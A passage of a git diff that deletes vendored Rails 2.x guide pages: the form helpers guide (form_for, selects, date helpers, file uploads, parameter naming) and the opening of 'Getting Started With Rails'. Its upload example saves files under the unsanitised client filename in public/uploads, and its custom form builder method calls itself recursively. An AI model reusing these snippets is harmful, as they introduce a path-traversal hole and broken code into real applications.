
2.1. Model object helpers

-

A particularly common task for a form is editing or creating a model object. While the *_tag helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example text_field, text_area.

-

For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined @person and that person’s name is Henry then a form containing:

-
-
-
<%= text_field(:person, :name) %>
-
-

will produce output similar to

-
-
-
<input id="person_name" name="person[name]" type="text" value="Henry"/>
-
-

Upon form submission the value entered by the user will be stored in params[:person][:name]. The params[:person] hash is suitable for passing to Person.new or, if @person is an instance of Person, @person.update_attributes. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a name and a name= method Rails will be happy.

-
- - - -
-Warning - -

You must pass the name of an instance variable, i.e. :person or "person", not an actual instance of your model object.

-
-
-

Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the Active Record Validations and Callbacks guide.

-

2.2. Binding a form to an object

-

While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object which is exactly what form_for does.

-

Assume we have a controller for dealing with articles:

-
-
articles_controller.rb
-
-
def new
-  @article = Article.new
-end
-
-

The corresponding view using form_for looks like this

-
-
articles/new.html.erb
-
-
<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
-  <%= f.text_field :title %>
-  <%= f.text_area :body, :size => "60x12" %>
-  <%= submit_tag "Create" %>
-<% end %>
-
-

There are a few things to note here:

-
    -
  1. -

    -:article is the name of the model and @article is the actual object being edited. -

    -
    2. -
  2. -

    -There is a single hash of options. Routing options are passed inside :url hash, HTML options are passed in the :html hash. -

    -
    3. -
  3. -

    -The form_for method yields a form builder object (the f variable). -

    -
    4. -
  4. -

    -Methods to create form controls are called on the form builder object f -

    -
    5. -
-

The resulting HTML is:

-
-
-
<form action="/articles/create" method="post" class="nifty_form">
-  <input id="article_title" name="article[title]" size="30" type="text" />
-  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
-  <input name="commit" type="submit" value="Create" />
-</form>
-
-

The name passed to form_for controls the key used in params to access the form’s values. Here the name is article and so all the inputs have names of the form article[attribute_name]. Accordingly, in the create action params[:article] will be a hash with keys :title and :body. You can read more about the significance of input names in the parameter names section.

-

The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.

-

You can create a similar binding without actually creating <form> tags with the fields_for helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:

-
-
-
<% form_for :person, @person, :url => { :action => "create" } do |person_form| %>
-  <%= person_form.text_field :name %>
-  <% fields_for @person.contact_detail do |contact_details_form| %>
-    <%= contact_details_form.text_field :phone_number %>
-  <% end %>
-<% end %>
-
-

which produces the following output:

-
-
-
<form action="/people/create" class="new_person" id="new_person" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
-</form>
-
-

The object yielded by fields_for is a form builder like the one yielded by form_for (in fact form_for calls fields_for internally).

-

2.3. Relying on record identification

-

The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it a resource.

-

When dealing with RESTful resources, calls to form_for can get significantly easier if you rely on record identification. In short, you can just pass the model instance and have Rails figure out model name and the rest:

-
-
-
## Creating a new article
-# long-style:
-form_for(:article, @article, :url => articles_path)
-# same thing, short-style (record identification gets used):
-form_for(@article)
-
-## Editing an existing article
-# long-style:
-form_for(:article, @article, :url => article_path(@article), :method => "put")
-# short-style:
-form_for(@article)
-
-

Notice how the short-style form_for invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking record.new_record?. It also selects the correct path to submit to and the name based on the class of the object.

-

Rails will also automatically set the class and id of the form appropriately: a form creating an article would have id and class new_article. If you were editing the article with id 23 the class would be set to edit_article and the id to edit_article_23. These attributes will be omitted for brevity in the rest of this guide.

-
- - - -
-Warning -When you’re using STI (single-table inheritance) with your models, you can’t rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, :url and :method explicitly.
-
-

2.3.1. Dealing with namespaces

-

If you have created namespaced routes form_for has a nifty shorthand for that too. If your application has an admin namespace then

-
-
-
form_for [:admin, @article]
-
-

will create a form that submits to the articles controller inside the admin namespace (submitting to admin_article_path(@article) in the case of an update). If you have several levels of namespacing then the syntax is similar:

-
-
-
form_for [:admin, :management, @article]
-
-

For more information on Rails' routing system and the associated conventions, please see the routing guide.

-

2.4. How do forms with PUT or DELETE methods work?

-

Rails framework encourages RESTful design of your applications, which means you’ll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers don’t support methods other than "GET" and "POST" when it comes to submitting forms.

-

Rails works around this issue by emulating other methods over POST with a hidden input named "_method" that is set to reflect the desired method:

-
-
-
form_tag(search_path, :method => "put")
-
-output:
-
-<form action="/search" method="post">
-  <div style="margin:0;padding:0">
-    <input name="_method" type="hidden" value="put" />
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
-  ...
-
-

When parsing POSTed data, Rails will take into account the special _method parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example).

-
-

3. Making select boxes with ease

-
-

Select boxes in HTML require a significant amount of markup (one OPTION element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.

-

Here is what the markup might look like:

-
-
-
<select name="city_id" id="city_id">
-  <option value="1">Lisbon</option>
-  <option value="2">Madrid</option>
-  ...
-  <option value="12">Berlin</option>
-</select>
-
-

Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let’s see how Rails can help out here.

-

3.1. The select and options tag

-

The most generic helper is select_tag, which — as the name implies — simply generates the SELECT tag that encapsulates an options string:

-
-
-
<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
-
-

This is a start, but it doesn’t dynamically create the option tags. You can generate option tags with the options_for_select helper:

-
-
-
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
-
-output:
-
-<option value="1">Lisbon</option>
-<option value="2">Madrid</option>
-...
-
-

The first argument to options_for_select is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.

-

Knowing this, you can combine select_tag and options_for_select to achieve the desired, complete markup:

-
-
-
<%= select_tag(:city_id, options_for_select(...)) %>
-
-

options_for_select allows you to pre-select an option by passing its value.

-
-
-
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
-
-output:
-
-<option value="1">Lisbon</option>
-<option value="2" selected="selected">Madrid</option>
-...
-
-

Whenever Rails sees that the internal value of an option being generated matches this value, it will add the selected attribute to that option.

-
- - - -
-Tip - -

The second argument to options_for_select must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to options_for_select — you must pass 2. Be aware of values extracted from the params hash as they are all strings.

-
-
-

3.2. Select boxes for dealing with models

-

In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the _tag suffix from select_tag:

-
-
-
# controller:
-@person = Person.new(:city_id => 2)
-
-# view:
-<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
-
-

Notice that the third parameter, the options array, is the same kind of argument you pass to options_for_select. One advantage here is that you don’t have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the @person.city_id attribute.

-

As with other helpers, if you were to use select helper on a form builder scoped to @person object, the syntax would be:

-
-
-
# select on a form builder
-<%= f.select(:city_id, ...) %>
-
-
- - - -
-Warning - -

If you are using select (or similar helpers such as collection_select, select_tag) to set a belongs_to association you must pass the name of the foreign key (in the example above city_id), not the name of association itself.

-

If you specify city instead of city_id Active Record will raise an error along the lines of

-
-
-
ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)
-
-

when you pass the params hash to Person.new or update_attributes. Another way of looking at this is that form helpers only edit attributes.

-

You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of attr_protected and attr_accessible. For further details on this, see the Ruby On Rails Security Guide.

-
-
-

3.3. Option tags from a collection of arbitrary objects

-

Generating options tags with options_for_select requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:

-
-
-
<% cities_array = City.all.map { |city| [city.name, city.id] } %>
-<%= options_for_select(cities_array) %>
-
-

This is a perfectly valid solution, but Rails provides a less verbose alternative: options_from_collection_for_select. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option value and text from, respectively:

-
-
-
<%= options_from_collection_for_select(City.all, :id, :name) %>
-
-

As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with select_tag, just as you would with options_for_select. When working with model objects, just as select combines select_tag and options_for_select, collection_select combines select_tag with options_from_collection_for_select.

-
-
-
<%= collection_select(:person, :city_id, City.all, :id, :name) %>
-
-

To recap, options_from_collection_for_select is to collection_select what options_for_select is to select.

-
- - - -
-Note - -

Pairs passed to options_for_select should have the name first and the id second, however with options_from_collection_for_select the first argument is the value method and the second the text method.

-
-
-

3.4. Time zone and country select

-

To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using collection_select, but you can simply use the time_zone_select helper that already wraps this:

-
-
-
<%= time_zone_select(:person, :time_zone) %>
-
-

There is also time_zone_options_for_select helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.

-

Rails used to have a country_select helper for choosing countries but this has been extracted to the country_select plugin. When using this do be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails).

-
-

4. Using Date and Time Form Helpers

-
-

The date and time helpers differ from all the other form helpers in two important respects:

-
    -
  1. -

    -Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your params hash with your date or time. -

    -
    2. -
  2. -

    -Other helpers use the _tag suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, select_date, select_time and select_datetime are the barebones helpers, date_select, time_select and datetime_select are the equivalent model object helpers. -

    -
    3. -
-

Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).

-

4.1. Barebones helpers

-

The select_* family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example

-
-
-
<%= select_date Date.today, :prefix => :start_date %>
-
-

outputs (with actual option values omitted for brevity)

-
-
-
<select id="start_date_year" name="start_date[year]"> ... </select>
-<select id="start_date_month" name="start_date[month]"> ... </select>
-<select id="start_date_day" name="start_date[day]"> ... </select>
-
-

The above inputs would result in params[:start_date] being a hash with keys :year, :month, :day. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example

-
-
-
Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
-
-

The :prefix option is the key used to retrieve the hash of date components from the params hash. Here it was set to start_date, if omitted it will default to date.

-

4.2. Model object helpers

-

select_date does not work well with forms that update or create Active Record objects as Active Record expects each element of the params hash to correspond to one attribute. -The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:

-
-
-
<%= date_select :person, :birth_date %>
-
-

outputs (with actual option values omitted for brevity)

-
-
-
<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
-<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
-<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
-
-

which results in a params hash like

-
-
-
{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
-
-

When this is passed to Person.new (or update_attributes), Active Record spots that these parameters should all be used to construct the birth_date attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as Date.civil.

-

4.3. Common options

-

Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the :start_year and :end_year options override this. For an exhaustive list of the available options, refer to the API documentation.

-

As a rule of thumb you should be using date_select when working with model objects and select_date in others cases, such as a search form which filters results by date.

-
- - - -
-Note -In many cases the built in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
-
-

4.4. Individual components

-

Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component select_year, select_month, select_day, select_hour, select_minute, select_second. These helpers are fairly straightforward. By default they will generate a input named after the time component (for example "year" for select_year, "month" for select_month etc.) although this can be overriden with the :field_name option. The :prefix option works in the same way that it does for select_date and select_time and has the same default value.

-

The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example

-
-
-
<%= select_year(2009) %>
-<%= select_year(Time.now) %>
-
-

will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by params[:date][:year].

-
-

5. Uploading Files

-
-

A common task is uploading some sort of file, whether it’s a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form’s encoding MUST be set to "multipart/form-data". If you forget to do this the file will not be uploaded. This can be done by passing :multi_part => true as an HTML option. This means that in the case of form_tag it must be passed in the second options hash and in the case of form_for inside the :html hash.

-

The following two forms both upload a file.

-
-
-
<% form_tag({:action => :upload}, :multipart => true) do %>
-  <%= file_field_tag 'picture' %>
-<% end %>
-
-<% form_for @person, :html => {:multipart => true} do |f| %>
-  <%= f.file_field :picture %>
-<% end %>
-
-

Rails provides the usual pair of helpers: the barebones file_field_tag and the model oriented file_field. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in params[:picture] and in the second case in params[:person][:picture].

-

5.1. What gets uploaded

-

The object in the params hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an original_filename attribute containing the name the file had on the user’s computer and a content_type attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in #{Rails.root}/public/uploads under the same name as the original file (assuming the form was the one in the previous example).

-
-
-
def upload
-  uploaded_io = params[:person][:picture]
-  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
-    file.write(uploaded_io.read)
-  end
-end
-

Once a file has been uploaded there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are Attachment-Fu and Paperclip.

-
- - - -
-Note -If the user has not selected a file the corresponding parameter will be an empty string.
-
-

5.2. Dealing with Ajax

-

Unlike other forms making an asynchronous file upload form is not as simple as replacing form_for with remote_form_for. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.

-
-

6. Customising Form Builders

-
-

As mentioned previously the object yielded by form_for and fields_for is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example

-
-
-
<% form_for @person do |f| %>
-  <%= text_field_with_label f, :first_name %>
-<% end %>
-
-

can be replaced with

-
-
-
<% form_for @person, :builder => LabellingFormBuilder do |f| %>
-  <%= f.text_field :first_name %>
-<% end %>
-
-

by defining a LabellingFormBuilder class similar to the following:

-
-
-
class LabellingFormBuilder < FormBuilder
-  def text_field(attribute, options={})
-    label(attribute) + text_field(attribute, options)
-  end
-end
-

If you reuse this frequently you could define a labeled_form_for helper that automatically applies the :builder => LabellingFormBuilder option.

-

The form builder used also determines what happens when you do

-
-
-
<%= render :partial => f %>
-
-

If f is an instance of FormBuilder then this will render the form partial, setting the partial’s object to the form builder. If the form builder is of class LabellingFormBuilder then the labelling_form partial would be rendered instead.

-
-

7. Understanding Parameter Naming Conventions

-
-

As you’ve seen in the previous sections, values from forms can be at the top level of the params hash or nested in another hash. For example in a standard create -action for a Person model, params[:model] would usually be a hash of all the attributes for the person to create. The params hash can also contain arrays, arrays of hashes and so on.

-

Fundamentally HTML forms don’t know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.

-
- - - -
-Tip - -

You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example

-
-
-
ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789"
-# => {"name"=>"fred", "phone"=>"0123456789"}
-
-
-
-

7.1. Basic structures

-

The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in params. For example if a form contains

-
-
-
<input id="person_name" name="person[name]" type="text" value="Henry"/>
-
-

the params hash will contain

-
-
-
{'person' => {'name' => 'Henry'}}
-
-

and params["name"] will retrieve the submitted value in the controller.

-

Hashes can be nested as many levels as required, for example

-
-
-
<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
-
-

will result in the params hash being

-
-
-
{'person' => {'address' => {'city' => 'New York'}}}
-
-

Normally Rails ignores duplicate parameter names. If the parameter name contains [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, your could place this in the form:

-
-
-
<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-<input name="person[phone_number][]" type="text"/>
-
-

This would result in params[:person][:phone_number] being an array.

-

7.2. Combining them

-

We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment

-
-
-
<input name="addresses[][line1]" type="text"/>
-<input name="addresses[][line2]" type="text"/>
-<input name="addresses[][city]" type="text"/>
-
-

This would result in params[:addresses] being an array of hashes with keys line1, line2 and city. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.

-

There’s a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.

-
- - - -
-Warning -Array parameters do not play well with the check_box helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The check_box helper fakes this by creating a second hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use check_box_tag or to use hashes instead of arrays.
-
-

7.3. Using form helpers

-

The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as text_field_tag Rails also provides higher level support. The two tools at your disposal here are the name parameter to form_for and fields_for and the :index option that helpers take.

-

You might want to render a form with a set of edit fields for each of a person’s addresses. For example:

-
-
-
<% form_for @person do |person_form| %>
-  <%= person_form.text_field :name %>
-  <% for address in @person.addresses %>
-    <% person_form.fields_for address, :index => address do |address_form|%>
-      <%= address_form.text_field :city %>
-    <% end %>
-  <% end %>
-<% end %>
-
-

Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:

-
-
-
<form action="/people/1" class="edit_person" id="edit_person_1" method="post">
-  <input id="person_name" name="person[name]" size="30" type="text" />
-  <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
-  <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
-</form>
-
-

This will result in a params hash that looks like

-
-
-
{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
-
-

Rails knows that all these inputs should be part of the person hash because you called fields_for on the first form builder. By specifying an :index option you’re telling rails that instead of naming the inputs person[address][city] it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call to_param on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even nil (which will result in an array parameter being created).

-

To create more intricate nestings, you can specify the first part of the input name (person[address] in the previous example) explicitly, for example

-
-
-
<% fields_for 'person[address][primary]', address, :index => address do |address_form| %>
-  <%= address_form.text_field :city %>
-<% end %>
-
-

will create inputs like

-
-
-
<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
-
-

As a general rule the final input name is the concatenation of the name given to fields_for/form_for, the index value and the name of the attribute. You can also pass an :index option directly to helpers such as text_field, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.

-

As a shortcut you can append [] to the name and omit the :index option. This is the same as specifing :index => address so

-
-
-
<% fields_for 'person[address][primary][]', address do |address_form| %>
-  <%= address_form.text_field :city %>
-<% end %>
-
-

produces exactly the same output as the previous example.

-
-

8. Building Complex forms

-
-

Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:

-
-
-

9. Changelog

-
-

Lighthouse ticket

-
Authors
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html b/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html deleted file mode 100644 index 564d5c7c..00000000 --- a/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html +++ /dev/null @@ -1,1843 +0,0 @@ - - - - - Getting Started With Rails - - - - - - - - -
- - - -
-

Getting Started With Rails

-
-
-

This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:

-
    -
  • -

    -Installing Rails, creating a new Rails application, and connecting your application to a database -

    -
    • -
  • -

    -The general layout of a Rails application -

    -
    • -
  • -

    -The basic principles of MVC (Model, View Controller) and RESTful design -

    -
    • -
  • -

    -How to quickly generate the starting pieces of a Rails application. -

    -
    • -
-
- - - -
-Note -This Guide is based on Rails 2.3. Some of the code shown here will not work in older versions of Rails.
-
-
-
-

1. This Guide Assumes

-
-

This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:

-
-

It is highly recommended that you familiarize yourself with Ruby before diving into Rails. You will find it much easier to follow what’s going on with a Rails application if you understand basic Ruby syntax. Rails isn’t going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including:

-
-
-

2. What is Rails?

-
-

Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.

-

Rails is opinionated software. That is, it assumes that there is a best way to do things, and it’s designed to encourage that best way - and in some cases to discourage alternatives. If you learn "The Rails Way" you’ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.

-

The Rails philosophy includes several guiding principles:

-
    -
  • -

    -DRY - "Don’t Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. -

    -
    • -
  • -

    -Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you’re going to do it, rather than letting you tweak every little thing through endless configuration files. -

    -
    • -
  • -

    -REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go. -

    -
    • -
-

2.1. The MVC Architecture

-

Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:

-
    -
  • -

    -Isolation of business logic from the user interface -

    -
    • -
  • -

    -Ease of keeping code DRY -

    -
    • -
  • -

    -Making it clear where different types of code belong for easier maintenance -

    -
    • -
-

2.1.1. Models

-

A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application’s business logic will be concentrated in the models.

-

2.1.2. Views

-

Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.

-

2.1.3. Controllers

-

Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.

-

2.2. The Components of Rails

-

Rails provides a full stack of components for creating web applications, including:

-
    -
  • -

    -Action Controller -

    -
    • -
  • -

    -Action View -

    -
    • -
  • -

    -Active Record -

    -
    • -
  • -

    -Action Mailer -

    -
    • -
  • -

    -Active Resource -

    -
    • -
  • -

    -Railties -

    -
    • -
  • -

    -Active Support -

    -
    • -
-

2.2.1. Action Controller

-

Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.

-

2.2.2. Action View

-

Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.

-

2.2.3. Active Record

-

Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.

-

2.2.4. Action Mailer

-

Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.

-

2.2.5. Active Resource

-

Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.

-

2.2.6. Railties

-

Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.

-

2.2.7. Active Support

-

Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.

-

2.3. REST

-

The foundation of the RESTful architecture is generally considered to be Roy Fielding’s doctoral thesis, Architectural Styles and the Design of Network-based Software Architectures. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:

-
    -
  • -

    -Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources -

    -
    • -
  • -

    -Transferring representations of the state of that resource between system components. -

    -
    • -
-

For example, to a Rails application a request such as this:

-

DELETE /photos/17

-

would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities and browser quirks.

-

If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:

-
-
-

3. Creating a New Rails Project

-
-

If you follow this guide, you’ll create a Rails project called blog, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.

-

3.1. Installing Rails

-

In most cases, the easiest way to install Rails is to take advantage of RubyGems:

-
-
-
$ gem install rails
-
- - - -
-Note -There are some special circumstances in which you might want to use an alternate installation strategy:
-
-
    -
  • -

    -If you’re working on Windows, you may find it easier to install Instant Rails. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows. -

    -
    • -
  • -

    -If you want to keep up with cutting-edge changes to Rails, you’ll want to clone the Rails source code from github. This is not recommended as an option for beginners, though. -

    -
    • -
-

3.2. Creating the Blog Application

-

Open a terminal, navigate to a folder where you have rights to create files, and type:

-
-
-
$ rails blog
-

This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:

-
-
-
$ rails blog -d mysql
-

And if you’re using PostgreSQL for data storage, run this command:

-
-
-
$ rails blog -d postgresql
-
- - - -
-Tip -You can see all of the switches that the Rails application builder accepts by running rails -h.
-
-

After you create the blog application, switch to its folder to continue work directly in that application:

-
-
-
$ cd blog
-

In any case, Rails will create a folder in your working directory called blog. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the app/ folder, but here’s a basic rundown on the function of each folder that Rails creates in a new application by default:

-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
File/Folder Purpose

README

This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.

Rakefile

This file contains batch jobs that can be run from the terminal.

app/

Contains the controllers, models, and views for your application. You’ll focus on this folder for the remainder of this guide.

config/

Configure your application’s runtime rules, routes, database, and more.

db/

Shows your current database schema, as well as the database migrations. You’ll learn about migrations shortly.

doc/

In-depth documentation for your application.

lib/

Extended modules for your application (not covered in this guide).

log/

Application log files.

public/

The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go.

script/

Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.

test/

Unit tests, fixtures, and other test apparatus. These are covered in Testing Rails Applications

tmp/

Temporary files

vendor/

A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.

-
-

3.3. Configuring a Database

-

Just about every Rails application will interact with a database. The database to use is specified in a configuration file, config/database.yml. -If you open this file in a new Rails application, you’ll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:

-
    -
  • -

    -The development environment is used on your development computer as you interact manually with the application -

    -
    • -
  • -

    -The test environment is used to run automated tests -

    -
    • -
  • -

    -The production environment is used when you deploy your application for the world to use. -

    -
    • -
-

3.3.1. Configuring a SQLite Database

-

Rails comes with built-in support for SQLite, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.

-

Here’s the section of the default configuration file with connection information for the development environment:

-
-
-
development:
-  adapter: sqlite3
-  database: db/development.sqlite3
-  pool: 5
-  timeout: 5000
-

If you don’t have any database set up, SQLite is the easiest to get installed. If you’re on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:

-
-
-
